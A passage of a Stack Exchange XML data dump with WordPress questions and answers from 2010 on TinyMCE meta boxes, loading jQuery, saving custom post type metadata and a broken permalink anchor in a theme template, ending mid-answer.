  <row Id="438" PostTypeId="2" ParentId="436" CreationDate="2010-08-17T11:28:51.523" Score="0" ViewCount="" Body="&lt;p&gt;The default editor, tinymce, is loaded by a function in wp-admin/includes/post.php called wp_tiny_mce();  &lt;a href=&quot;http://core.trac.wordpress.org/browser/trunk/wp-admin/includes/post.php&quot; rel=&quot;nofollow&quot;&gt;Look in the source&lt;/a&gt; at line 1350.  There is an array of settings at line 1478.  One of the options apparently designates the textarea selector to apply the javascript editor to.  I was reading &lt;a href=&quot;http://www.keighl.com/2010/01/tinymce-in-wordpress-plugins/&quot; rel=&quot;nofollow&quot;&gt;this post by Keighl&lt;/a&gt; on his blog that pointed me toward it.  Read the article, and maybe there's a way to call wp_tiny_mce() in an admin section plugin and apply it to a second text area you create.&lt;/p&gt;&#xA;" OwnerUserId="58" LastActivityDate="2010-08-17T11:28:51.523" />
  <row Id="439" PostTypeId="2" ParentId="436" CreationDate="2010-08-17T11:30:11.693" Score="10" ViewCount="" Body="&lt;p&gt;Say your custom post type was called &lt;code&gt;Properties&lt;/code&gt;, you would add the box to hold your additional tinyMCE editor using code similar to this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function register_meta_boxen() {&#xA;    add_meta_box(&quot;wysiwyg-editor-2&quot;, &quot;Second Column&quot;, &quot;second_column_box&quot;,&#xA;    &quot;properties&quot;, &quot;normal&quot;, &quot;high&quot;);    &#xA;}&#xA;add_action('admin_menu', 'register_meta_boxen');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;wysiwyg-editor-2&lt;/code&gt; is the ID that the meta box will have applied to it, &lt;code&gt;Second Column&lt;/code&gt; is the title that the meta box will have, &lt;code&gt;second_column_box&lt;/code&gt; is the function which will print out the HTML for the meta box, &lt;code&gt;properties&lt;/code&gt; is our custom post type, &lt;code&gt;normal&lt;/code&gt; is the location of the meta box, and &lt;code&gt;high&lt;/code&gt; specifies that it should be shown as high in the page as possible. (Usually below the default tinyMCE editor).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, taking this as the most basic example, you must attach the tinyMCE editor to a textarea. We still have to define our &lt;code&gt;second_column_box&lt;/code&gt; function which will print the HTML for the meta box so this is as good a place as any to do this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function second_column_box() {&#xA;    echo &amp;lt;&amp;lt;&amp;lt;EOT&#xA;    &amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;jQuery(document).ready(function() {&#xA;    jQuery(&quot;#tinymce&quot;).addClass(&quot;mceEditor&quot;);&#xA;    if ( typeof( tinyMCE ) == &quot;object&quot; &amp;amp;&amp;amp;&#xA;         typeof( tinyMCE.execCommand ) == &quot;function&quot; ) {&#xA;        tinyMCE.execCommand(&quot;mceAddControl&quot;, false, &quot;tinymce&quot;);&#xA;    }&#xA;});&#xA;&amp;lt;/script&amp;gt;&#xA;    &amp;lt;textarea id=&quot;tinymce&quot; name=&quot;tinymce&quot;&amp;gt;&amp;lt;/textarea&amp;gt;&#xA;EOT;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There are a couple of issues which I'm not sure of how to overcome. The tinyMCE editor will be nested inside of a metabox, which might not be ideal, and it will not feature the ability to switch between HTML and Visual editing modes, as well as the the media insertion commands which the normal post editor has. Switching the modes appears to be defined as a function who's first argument is the ID, but yet it also appears to coded into the wp-tinymce script. It is possible to use the built in tinyMCE functions to do so, but this changes the textarea between full tinyMCE and a basic textarea, without any of the WP HTML insertion buttons.&lt;/p&gt;&#xA;" OwnerUserId="25" LastActivityDate="2010-08-17T11:30:11.693" CommentCount="4" />
  <row Id="440" PostTypeId="2" ParentId="420" CreationDate="2010-08-17T11:32:56.777" Score="0" ViewCount="" Body="&lt;p&gt;Just wait :). &lt;a href=&quot;http://core.trac.wordpress.org/ticket/14579&quot; rel=&quot;nofollow&quot;&gt;http://core.trac.wordpress.org/ticket/14579&lt;/a&gt; , Scribu is Ajaxifying the lists, should make it more easy to manage stuff. Stuff of it already get's committed so in the end you can build on top of that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next to adding javascripts, it looks like that bulk actions will be converted into post actions. That enables users to make more modifications at once.&lt;/p&gt;&#xA;" OwnerUserId="178" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2010-08-24T19:27:02.953" LastActivityDate="2010-08-24T19:27:02.953" />
  <row Id="441" PostTypeId="1" AcceptedAnswerId="442" CreationDate="2010-08-17T12:04:23.783" Score="5" ViewCount="1268" Body="&lt;p&gt;So I'm using Starkers to base my next WP theme on and I've run into a small issue, I was including my own version of jQuery in the &lt;code&gt;header.php&lt;/code&gt; file but when inspecting my site using Firebug I noticed jquery was being downloaded twice, I did a bit of digging and noticed that not only was I including the file but so was the &lt;code&gt;wp_head()&lt;/code&gt; function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In trying to fix the problem I noticed a comment in the header file, of which originated came from the Twenty Ten theme:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/* Always have wp_head() just before the closing &amp;lt;/head&amp;gt;&#xA; * tag of your theme, or you will break many plugins, which&#xA; * generally use this hook to add elements to &amp;lt;head&amp;gt;, such &#xA; * as styles, scripts, and meta tags&#xA; */&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So here's my problem, I am under the impression that the jQuery file has to be set before any other file that wants to use it and that &lt;code&gt;wp_head()&lt;/code&gt; should be the last thing in the &lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt; element, I'm slightly confused now as I'm wondering should I put &lt;code&gt;wp_head()&lt;/code&gt; at the top so the WP included jQuery file will be used for all my plugins, even though it says not to do so.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did comment out the jQuery line in the &lt;code&gt;wp_head()&lt;/code&gt; function but it's required for the admin page so I had to put it back.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd also like to use (at least experiment) with using the Google CDN version of jQuery, but don't want to include it twice!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope you understand what I'm trying to explain, any suggestions on how I can solve this problem would be most appreciated. I'd also appreciate any advice on how you handle your JavaScript files with the header file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="29" LastEditorDisplayName="" LastEditDate="2010-08-18T09:51:04.887" LastActivityDate="2011-02-10T16:39:32.793" Title="How to Link External jQuery/Javascript files with WordPress" Tags="&lt;themes&gt;&lt;3.0&gt;&lt;theme-development&gt;&lt;jquery&gt;&lt;wp-head&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="3" />
  <row Id="442" PostTypeId="2" ParentId="441" CreationDate="2010-08-17T12:53:01.907" Score="6" ViewCount="" Body="&lt;p&gt;From the wording of your question, you must be adding scripts by writing &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; tags in your template. Add your own scripts via &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_enqueue_script&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_enqueue_script()&lt;/code&gt;&lt;/a&gt; in your template's &lt;code&gt;functions.php&lt;/code&gt;, appropriately setting dependences on jQuery, and &lt;code&gt;wp_head()&lt;/code&gt; will add the scripts for you.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_scripts() {&#xA;    wp_enqueue_script( 'my-sweet-script', get_bloginfo('template_directory') . '/script.js', array('jquery') );&#xA;}&#xA;add_action('template_redirect', 'my_scripts');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;See the &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_enqueue_script&quot; rel=&quot;nofollow&quot;&gt;codex page&lt;/a&gt; for more info.&lt;/p&gt;&#xA;" OwnerUserId="66" LastEditorUserId="66" LastEditorDisplayName="" LastEditDate="2010-08-17T14:36:05.053" LastActivityDate="2010-08-17T14:36:05.053" CommentCount="5" />
  <row Id="443" PostTypeId="2" ParentId="301" CreationDate="2010-08-17T13:39:31.837" Score="1" ViewCount="" Body="&lt;p&gt;Using Nginx will not make wordpress use less memory. If you're concerned about memory, you can save some server-wise by optimizing your apache configuration to only load the modules you need and do other configuration that will reduce the memory apache needs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next to that, apache has caching modules as well worth to consider, so to save all memory wordpress would have used when invoked. Since wordpress output get's cached, wordpress does not need to run any longer and you save the memory.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2010-08-17T13:39:31.837" />
  <row Id="444" PostTypeId="1" AcceptedAnswerId="448" CreationDate="2010-08-17T13:41:32.393" Score="5" ViewCount="755" Body="&lt;p&gt;I'm trying to set up a custom post type following &lt;a href=&quot;http://net.tutsplus.com/tutorials/wordpress/rock-solid-wordpress-3-0-themes-using-custom-post-types/&quot; rel=&quot;nofollow&quot;&gt;this tutorial&lt;/a&gt;. However, I'm a bit confused as how/where to implement &lt;code&gt;update_post_meta()&lt;/code&gt;. The tutorial suggests this pattern:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('save_post', 'save_my_metadata');&#xA;&#xA;function save_my_metadata()&#xA;{&#xA;    global $post;&#xA;    update_post_meta($post-&amp;gt;ID, 'my_metadata', $_POST['my_metadata']);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which does work, but has the unfortunate effect of adding that metadata to each and every post, whether it belongs to this custom type or not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've put the above in &lt;code&gt;functions.php&lt;/code&gt; and am guessing that might be part of the problem. I'm guessing I need to restrict the 'save_post' action to only trigger for posts of my custom type.&lt;/p&gt;&#xA;" OwnerUserId="119" LastEditorUserId="119" LastEditorDisplayName="" LastEditDate="2010-08-18T11:37:23.230" LastActivityDate="2011-04-10T12:34:04.487" Title="How do I save metadata for a specific custom post type only?" Tags="&lt;custom-post-types&gt;" AnswerCount="6" CommentCount="2" FavoriteCount="2" />
  <row Id="445" PostTypeId="2" ParentId="444" CreationDate="2010-08-17T13:49:59.533" Score="0" ViewCount="" Body="&lt;p&gt;Prior updating check whether or not the current post is of your post-type. That would ensure you don't save it for all posts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should check for the input as well (that's missing in your example) and next to that, keep in mind that you might only add the action when that post-type is active. If that's the case, you do not need to check for that post-type later on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Getting a posts type: &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_post_type&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;get_post_type()&lt;/code&gt;&lt;/a&gt; or &lt;code&gt;$post-&amp;gt;post_type;&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2010-08-17T13:49:59.533" />
  <row Id="446" PostTypeId="2" ParentId="5" CreationDate="2010-08-17T13:57:03.930" Score="1" ViewCount="" Body="&lt;p&gt;Yes, you are allowed to license your theme under any license you see fit. Some might not be appropriate for redistribution then. But first of all you are free to choose. It's free software, extend as you wish.&lt;/p&gt;&#xA;" OwnerUserId="178" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2010-08-24T09:37:07.520" LastActivityDate="2010-08-24T09:37:07.520" />
  <row Id="447" PostTypeId="2" ParentId="441" CreationDate="2010-08-17T14:01:59.677" Score="6" ViewCount="" Body="&lt;p&gt;I suggest taking a look at &lt;a href=&quot;http://www.ericmmartin.com/5-tips-for-using-jquery-with-wordpress&quot; rel=&quot;nofollow&quot;&gt;5 Tips for using jQuery with WordPress&lt;/a&gt;.  Among other things, it shows the code necessary to load jQuery from Google's library:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_init() {&#xA;    if (!is_admin()) {&#xA;        // comment out the next two lines to load the local copy of jQuery&#xA;        wp_deregister_script('jquery');&#xA;        wp_register_script('jquery', 'http://ajax.googleapis.com/ajax/libs/jquery/1.3.2/jquery.min.js', false, '1.3.2');&#xA;        wp_enqueue_script('jquery');&#xA;    }&#xA;}&#xA;add_action('init', 'my_init');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You could also check out the &lt;a href=&quot;http://wordpress.org/extend/plugins/use-google-libraries/&quot; rel=&quot;nofollow&quot;&gt;Use Google Libraries&lt;/a&gt; plugin.&lt;/p&gt;&#xA;" OwnerUserId="49" LastEditorUserId="49" LastEditorDisplayName="" LastEditDate="2011-02-10T16:39:32.793" LastActivityDate="2011-02-10T16:39:32.793" CommentCount="6" />
  <row Id="448" PostTypeId="2" ParentId="444" CreationDate="2010-08-17T14:02:31.937" Score="6" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;function save_my_metadata($ID = false, $post = false)&#xA;{&#xA;    if($post-&amp;gt;post_type != 'your_post_type')&#xA;        return;&#xA;    update_post_meta($ID, 'my_metadata', $_POST['my_metadata']);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That should work. Just replace 'your_post_type' with the name of the post type. Also, little known fact: the 'save_post' hook passes the post's ID as an argument.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I updated the function to reflect Jan's comment. Thanks Jan!&lt;/p&gt;&#xA;" OwnerUserId="11" LastEditorUserId="11" LastEditorDisplayName="" LastEditDate="2010-08-17T14:25:49.603" LastActivityDate="2010-08-17T14:25:49.603" CommentCount="7" />
  <row Id="449" PostTypeId="2" ParentId="436" CreationDate="2010-08-17T14:08:12.250" Score="1" ViewCount="" Body="&lt;p&gt;Bueltge has a nice article that shows how that can be done: &lt;a href=&quot;http://wpengineer.com/1991/example-how-to-add-meta-boxes-to-edit-area/&quot; rel=&quot;nofollow&quot;&gt;http://wpengineer.com/1991/example-how-to-add-meta-boxes-to-edit-area/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2010-08-17T14:08:12.250" />
  <row Id="450" PostTypeId="2" ParentId="423" CreationDate="2010-08-17T14:10:51.447" Score="3" ViewCount="" Body="&lt;p&gt;Please mail plugins - wordpress.org and ask them to remove your plugin. Provide all infos and explain that you won't start to develop the plugin so the name should no longer be blocked. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would use the same email as while registering the plugin (maybe even replying to it) and I think they will remove it after some days.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2010-08-17T14:10:51.447" CommentCount="1" />
  <row Id="451" PostTypeId="2" ParentId="444" CreationDate="2010-08-17T14:48:08.410" Score="4" ViewCount="" Body="&lt;p&gt;If you want to handle multiple post types, I'd recommend a basic switch statement:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('save_post', 'save_my_metadata');&#xA;&#xA;function save_my_metadata($ID = false, $post = false)&#xA;{&#xA;    switch($post-&amp;gt;post_type) &#xA;    {&#xA;        case 'post_type_1':&#xA;            // Do stuff for post type 1&#xA;            update_post_meta($ID, 'my_metadata', $_POST['my_metadata']); // Example...&#xA;            break;&#xA;        case 'post_type_2':&#xA;            // Do stuff for post type 2&#xA;            break;&#xA;        default:&#xA;            return;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The cases are basically the same as &lt;code&gt;if($post-&amp;gt;post_type) == 'post_type_1') {}&lt;/code&gt; But don't require multiple if-else blocks.  The &lt;code&gt;default&lt;/code&gt; block in the switch handles cases where the post type isn't in your custom set.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2010-08-17T14:48:08.410" />
  <row Id="452" PostTypeId="1" AcceptedAnswerId="453" CreationDate="2010-08-17T16:27:03.020" Score="0" ViewCount="315" Body="&lt;p&gt;From the WordPress support forums:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Hi, this is my website &lt;a href=&quot;http://www.mp3ojax.com&quot; rel=&quot;nofollow&quot;&gt;http://www.mp3ojax.com&lt;/a&gt;. I want to insert permalinks on the images on main page&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;This is the code:&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink() ?&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&amp;lt;?php $metadataContent = ob_get_clean(); ?&amp;gt;&#xA;&amp;lt;?php if (trim($metadataContent) != ''): ?&amp;gt;&#xA;&amp;lt;div class=&quot;art-PostMetadataHeader&quot;&amp;gt;&#xA;&amp;lt;?php echo $metadataContent; ?&amp;gt;&#xA;&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;But I get urls like this:&lt;br&gt;&#xA;  &lt;a href=&quot;http://mp3ojax.com/joseph-krikorian-artarutyun-2008/%3C/a%3E%3C/div%3E%3Cdiv%20class=&quot; rel=&quot;nofollow&quot;&gt;http://mp3ojax.com/joseph-krikorian-artarutyun-2008/%3C/a%3E%3C/div%3E%3Cdiv%20class=&lt;/a&gt;  &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;please can someone help me?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Here is the full page:&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php get_header(); ?&amp;gt;&#xA;&amp;lt;div class=&quot;art-contentLayout&quot;&amp;gt;&#xA;&amp;lt;?php include (TEMPLATEPATH . '/sidebar1.php'); ?&amp;gt;&amp;lt;div class=&quot;art-content&quot;&amp;gt;&#xA;&#xA;&amp;lt;?php if (have_posts()) : ?&amp;gt;&#xA;&amp;lt;?php while (have_posts()) : the_post(); ?&amp;gt;&#xA;&amp;lt;div class=&quot;art-Post&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;art-Post-tl&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;    &amp;lt;div class=&quot;art-Post-tr&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;    &amp;lt;div class=&quot;art-Post-bl&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;    &amp;lt;div class=&quot;art-Post-br&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;    &amp;lt;div class=&quot;art-Post-tc&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;    &amp;lt;div class=&quot;art-Post-bc&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;    &amp;lt;div class=&quot;art-Post-cl&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;    &amp;lt;div class=&quot;art-Post-cr&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;    &amp;lt;div class=&quot;art-Post-cc&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;    &amp;lt;div class=&quot;art-Post-body&quot;&amp;gt;&#xA;&amp;lt;div class=&quot;art-Post-inner art-article&quot;&amp;gt;&#xA;&amp;lt;h2 class=&quot;art-PostHeaderIcon-wrapper&quot;&amp;gt;&#xA;&amp;lt;span class=&quot;art-PostHeader&quot;&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink() ?&amp;gt;&quot; rel=&quot;bookmark&quot; title=&quot;&amp;lt;?php printf(__('Permanent Link to %s', 'kubrick'), the_title_attribute('echo=0')); ?&amp;gt;&quot;&amp;gt;&#xA;&amp;lt;?php the_title(); ?&amp;gt;&#xA;&amp;lt;/a&amp;gt;&amp;lt;/span&amp;gt;&#xA;&amp;lt;/h2&amp;gt;&#xA;&amp;lt;?php ob_start(); ?&amp;gt;&#xA;&amp;lt;?php $icons = array(); ?&amp;gt;&#xA;&amp;lt;?php if (!is_page()): ?&amp;gt;&amp;lt;?php ob_start(); ?&amp;gt;&amp;lt;?php the_time(__('F jS, Y', 'kubrick')) ?&amp;gt;&#xA;&amp;lt;?php $icons[] = ob_get_clean(); ?&amp;gt;&amp;lt;?php endif; ?&amp;gt;&amp;lt;?php if (!is_page()): ?&amp;gt;&amp;lt;?php ob_start(); ?&amp;gt;&amp;lt;?php _e('Author', 'kubrick'); ?&amp;gt;: &amp;lt;a href=&quot;#&quot; title=&quot;&amp;lt;?php _e('Author', 'kubrick'); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_author() ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;&amp;lt;?php $icons[] = ob_get_clean(); ?&amp;gt;&amp;lt;?php endif; ?&amp;gt;&amp;lt;?php if (current_user_can('edit_post', $post-&amp;gt;ID)): ?&amp;gt;&amp;lt;?php ob_start(); ?&amp;gt;&amp;lt;?php edit_post_link(__('Edit', 'kubrick'), ''); ?&amp;gt;&#xA;&amp;lt;?php $icons[] = ob_get_clean(); ?&amp;gt;&amp;lt;?php endif; ?&amp;gt;&amp;lt;?php if (0 != count($icons)): ?&amp;gt;&#xA;&amp;lt;div class=&quot;art-PostHeaderIcons art-metadata-icons&quot;&amp;gt;&#xA;&amp;lt;?php echo implode(' | ', $icons); ?&amp;gt;&#xA;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&amp;lt;?php $metadataContent = ob_get_clean(); ?&amp;gt;&#xA;&amp;lt;?php if (trim($metadataContent) != ''): ?&amp;gt;&#xA;&amp;lt;div class=&quot;art-PostMetadataHeader&quot;&amp;gt;&#xA;&amp;lt;a href=&quot;&amp;lt;?php the_permalink() ?&amp;gt;&quot;&amp;gt;&amp;lt;?php echo $metadataContent; ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&amp;lt;div class=&quot;art-PostContent&quot;&amp;gt;&#xA;&amp;lt;?php if (is_search()) the_excerpt(); else the_content(__('Read the rest of this entry &amp;amp;raquo;', 'kubrick')); ?&amp;gt;&#xA;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div class=&quot;cleared&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;&amp;lt;?php ob_start(); ?&amp;gt;&#xA;&amp;lt;?php $icons = array(); ?&amp;gt;&#xA;&amp;lt;?php if (!is_page()): ?&amp;gt;&amp;lt;?php ob_start(); ?&amp;gt;&amp;lt;?php printf(__('Posted in %s', 'kubrick'), get_the_category_list(', ')); ?&amp;gt;&#xA;&amp;lt;?php $icons[] = ob_get_clean(); ?&amp;gt;&amp;lt;?php endif; ?&amp;gt;&amp;lt;?php if (!is_page() &amp;amp;&amp;amp; get_the_tags()): ?&amp;gt;&amp;lt;?php ob_start(); ?&amp;gt;&amp;lt;?php the_tags(__('Tags:', 'kubrick') . ' ', ', ', ' '); ?&amp;gt;&#xA;&amp;lt;?php $icons[] = ob_get_clean(); ?&amp;gt;&amp;lt;?php endif; ?&amp;gt;&amp;lt;?php if (!is_page() &amp;amp;&amp;amp; !is_single()): ?&amp;gt;&amp;lt;?php ob_start(); ?&amp;gt;&amp;lt;?php comments_popup_link(__('No Comments »', 'kubrick'), __('1 Comment »', 'kubrick'), __('% Comments »', 'kubrick'), '', __('Comments Closed', 'kubrick') ); ?&amp;gt;&#xA;&amp;lt;?php $icons[] = ob_get_clean(); ?&amp;gt;&amp;lt;?php endif; ?&amp;gt;&amp;lt;?php if (0 != count($icons)): ?&amp;gt;&#xA;&amp;lt;div class=&quot;art-PostFooterIcons art-metadata-icons&quot;&amp;gt;&#xA;&amp;lt;?php echo implode(' | ', $icons); ?&amp;gt;&#xA;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&amp;lt;?php $metadataContent = ob_get_clean(); ?&amp;gt;&#xA;&amp;lt;?php if (trim($metadataContent) != ''): ?&amp;gt;&#xA;&amp;lt;div class=&quot;art-PostMetadataFooter&quot;&amp;gt;&#xA;&amp;lt;?php echo $metadataContent; ?&amp;gt;&#xA;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;?php endwhile; ?&amp;gt;&#xA;&#xA;&amp;lt;?php&#xA;$prev_link = get_previous_posts_link(__('Newer Entries &amp;amp;raquo;', 'kubrick'));&#xA;$next_link = get_next_posts_link(__('&amp;amp;laquo; Older Entries', 'kubrick'));&#xA;?&amp;gt;&#xA;&amp;lt;?php if ($prev_link || $next_link): ?&amp;gt;&#xA;&amp;lt;div class=&quot;art-Post&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;art-Post-tl&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;    &amp;lt;div class=&quot;art-Post-tr&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;    &amp;lt;div class=&quot;art-Post-bl&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;    &amp;lt;div class=&quot;art-Post-br&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;    &amp;lt;div class=&quot;art-Post-tc&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;    &amp;lt;div class=&quot;art-Post-bc&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;    &amp;lt;div class=&quot;art-Post-cl&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;    &amp;lt;div class=&quot;art-Post-cr&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;    &amp;lt;div class=&quot;art-Post-cc&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;    &amp;lt;div class=&quot;art-Post-body&quot;&amp;gt;&#xA;&amp;lt;div class=&quot;art-Post-inner art-article&quot;&amp;gt;&#xA;&#xA;&amp;lt;div class=&quot;art-PostContent&quot;&amp;gt;&#xA;&#xA;&amp;lt;div class=&quot;navigation&quot;&amp;gt;&#xA; &amp;lt;?php if(function_exists('wp_page_numbers')) : wp_page_numbers(); endif; ?&amp;gt;&#xA;&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div class=&quot;cleared&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&amp;lt;?php else : ?&amp;gt;&#xA;&amp;lt;h2 class=&quot;center&quot;&amp;gt;&amp;lt;?php _e('Not Found', 'kubrick'); ?&amp;gt;&amp;lt;/h2&amp;gt;&#xA;&amp;lt;p class=&quot;center&quot;&amp;gt;&amp;lt;?php _e('Sorry, but you are looking for something that isn’t here.', 'kubrick'); ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;&amp;lt;?php if(function_exists('get_search_form')) get_search_form(); ?&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;?php include (TEMPLATEPATH . '/sidebar2.php'); ?&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div class=&quot;cleared&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;?php get_footer(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="172" LastEditorUserId="172" LastEditorDisplayName="" LastEditDate="2010-08-17T17:25:59.180" LastActivityDate="2010-08-17T17:35:13.347" Title="Permalink Problems" Tags="&lt;permalinks&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="453" PostTypeId="2" ParentId="452" CreationDate="2010-08-17T16:39:05.040" Score="3" ViewCount="" Body="&lt;p&gt;There isn't really enough code as an example to fully understand if there is any additional issues, but the main thing which is causing the URL's to not work is the fact that the opening anchor tag is not closed. Adding a &lt;code&gt;&quot;&amp;gt;&lt;/code&gt; to the end of the first line should fix the issue. In addition the &lt;code&gt;art-PostMetadataHeader&lt;/code&gt; div should be closed.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot;&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&amp;lt;?php $metadataContent = ob_get_clean(); ?&amp;gt;&#xA;&amp;lt;?php if (trim($metadataContent) != ''): ?&amp;gt;&#xA;&amp;lt;div class=&quot;art-PostMetadataHeader&quot;&amp;gt;&#xA;    &amp;lt;?php echo $metadataContent; ?&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Having said that, nesting a block level element such as a &lt;code&gt;div&lt;/code&gt; inside of an inline element such as an anchor is not standards compliant, but this code would have the same effect of linking all the &lt;code&gt;$metadataContent&lt;/code&gt;, while being standards compliant.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php endif; ?&amp;gt;&#xA;&amp;lt;?php $metadataContent = ob_get_clean(); ?&amp;gt;&#xA;&amp;lt;?php if (trim($metadataContent) != ''): ?&amp;gt;&#xA;&amp;lt;div class=&quot;art-PostMetadataHeader&quot;&amp;gt;&#xA;   &amp;lt;a 